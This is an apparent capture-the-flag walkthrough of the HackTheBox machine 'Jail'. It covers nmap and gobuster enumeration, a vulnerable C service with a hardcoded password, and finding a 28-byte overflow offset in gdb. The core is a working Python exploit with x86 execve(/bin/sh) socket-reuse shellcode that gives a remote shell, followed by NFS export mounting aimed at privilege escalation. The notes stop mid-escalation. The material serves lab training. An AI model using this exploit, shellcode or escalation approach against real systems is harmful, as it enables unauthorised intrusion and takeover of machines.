## BUFFEROVERFLOW

## NFS MOUNT

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.6.1 (protocol 2.0)

| ssh-hostkey:

| 2048 cd:ec:19:7c:da:dc:16:e2:a3:9d:42:f3:18:4b:e6:4d (RSA)

| 256 af:94:9f:2f:21:d0:e0:1d:ae:8e:7f:1d:7b:d7:42:ef (ECDSA)

|_ 256 6b:f8:dc:27:4f:1c:89:67:a4:67:c5:ed:07:53:af:97 (ED25519)

80/tcp open http Apache httpd 2.4.6 ((CentOS))

| http-methods:

|_ Potentially risky methods: TRACE

|_http-server-header: Apache/2.4.6 (CentOS)

|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

111/tcp open rpcbind 2-4 (RPC #100000)

| rpcinfo:

| program version port/proto service

| 100000 2,3,4 111/tcp rpcbind

| 100000 2,3,4 111/udp rpcbind

| 100000 3,4 111/tcp6 rpcbind

| 100000 3,4 111/udp6 rpcbind

| 100003 3,4 2049/tcp nfs

| 100003 3,4 2049/tcp6 nfs

| 100003 3,4 2049/udp nfs

| 100003 3,4 2049/udp6 nfs

| 100005 1,2,3 20048/tcp mountd

| 100005 1,2,3 20048/tcp6 mountd

| 100005 1,2,3 20048/udp mountd

| 100005 1,2,3 20048/udp6 mountd

| 100021 1,3,4 37059/tcp6 nlockmgr

| 100021 1,3,4 40281/tcp nlockmgr

| 100021 1,3,4 42961/udp nlockmgr

| 100021 1,3,4 51321/udp6 nlockmgr

| 100024 1 33418/udp status

| 100024 1 53839/tcp status

| 100024 1 55031/tcp6 status

| 100024 1 60971/udp6 status

| 100227 3 2049/tcp nfs_acl

| 100227 3 2049/tcp6 nfs_acl

| 100227 3 2049/udp nfs_acl

|_ 100227 3 2049/udp6 nfs_acl

2049/tcp open nfs_acl 3 (RPC #100227)

7411/tcp open daqstream?

| fingerprint-strings:

| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns:

|_ OK Ready. Send USER command.

root@kali:/home/kali/Desktop/hackthebox/jail# gobuster dir -u http://jail.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

/jailuser (Status: 301)

http://jail.htb/jailuser/

http://jail.htb/jailuser/dev/

Name Last modified Size Description

[PARENTDIR] Parent Directory -

[ ] compile.sh 2017-06-25 12:03 102

[ ] jail 2017-07-04 07:41 12K

[TXT] jail.c 2017-07-04 07:41 4.5K

root@kali:/home/kali/Desktop/hackthebox/jail# cat compile.sh

gcc -o jail jail.c -m32 -z execstack

service jail stop

cp jail /usr/local/bin/jail

service jail start

root@kali:/home/kali/Desktop/hackthebox/jail# cat jail.c

```
  if (strcmp(username, "admin") != 0) return 0;
   strcpy(userpass, password);
   if (strcmp(userpass, "1974jailbreak!") == 0) {
```

## BUFFER OVERFLOW

root@kali:/home/kali/Desktop/hackthebox/jail# gdb ./jail

(gdb) run

root@kali:/home/kali/Desktop/hackthebox/jail# nc localhost 7411

(gdb) run

Starting program: /home/kali/Desktop/hackthebox/jail/jail

[Detaching after fork from child process 8169]

Notice that we get a message in GDB telling us that the the process was detached after a fork from the child process. We can fix that by setting the following commands in GDB.

root@kali:/home/kali/Desktop/hackthebox/jail# gdb -q jail

/root/.gdbinit:1: Error in sourced command file:

Undefined command: "".  Try "help".

Reading symbols from jail...

(No debugging symbols found in jail)

(gdb) set follow-fork-mode child

(gdb) set detach-on-fork off

(gdb) run

root@kali:/home/kali/Desktop/hackthebox/jail# /usr/bin/msf-pattern_create -l 50

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab

root@kali:/home/kali/Desktop/hackthebox/jail# nc localhost 7411

OK Ready. Send USER command.

USER admin

OK Send PASS command.

DEBUG

OK DEBUG mode on.

PASS Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab

Debug: userpass buffer @ 0xffffce90

Thread 2.1 "jail" received signal SIGSEGV, Segmentation fault.

[Switching to process 8201]

0x62413961 in ?? ()

root@kali:/home/kali/Desktop/hackthebox/jail# /usr/bin/msf-pattern_offset -q 62413961 -l 50

[*] Exact match at offset 28

root@kali:/home/kali/Desktop/hackthebox/jail# nc jail.htb 7411

DOK Ready. Send USER command.

DEBUG ON

OK DEBUG mode on.

USER admin

OK Send PASS command.

PASS 1974jailbreak!

Debug: userpass buffer @ 0xffffd610

OK Authentication success. Send command.

OPEN

OK Jail doors opened.root@kali:/home/kali/Desktop/hackthebox/jail#

root@kali:/home/kali/Desktop/hackthebox/jail# cat jail.py

```
#!/usr/bin/env python

import socket, sys, telnetlib

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect(('10.10.10.34', 7411))

print s.recv(1024)

s.send("DEBUG")

print s.recv(1024)

s.send("USER admin")

print s.recv(1024)

# https://www.exploit-db.com/exploits/34060/

# Linux/x86 - execve(/bin/sh) + Socket Re-Use Shellcode (50 bytes)

# Buffer address (ffffd610) + Offset (28) = ffffd638

payload = "A"*28 + "\x38\xd6\xff\xff" + "\x90"*10 +
"\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80\xf9\x03\x75\xf5\x6a\x0
b\x58\x99\x52\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"

s.send("PASS " + payload)

print s.recv(1024)

t = telnetlib.Telnet()

t.sock = s

t.interact()

s.close()
```

SHELL GAINED!!!!! (NOBODY)

bash-4.2$ sudo -l

sudo -l

Matching Defaults entries for nobody on this host:

!visiblepw, always_set_home, env_reset, env_keep="COLORS DISPLAY HOSTNAME

HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG

LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION

LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC

LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS

_XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User nobody may run the following commands on this host:

(frank) NOPASSWD: /opt/logreader/logreader.sh

## NFS

root@kali:/home/kali/Desktop/tools# showmount -e jail.htb

Export list for jail.htb:

/opt *

/var/nfsshare *

root@kali:/home/kali/Desktop/hackthebox/jail# mount -t nfs 10.10.10.34:/var/nfsshare /home/kali/Desktop/hackthebox/jail/mnt/

root@kali:/home/kali/Desktop/hackthebox/jail# adduser frank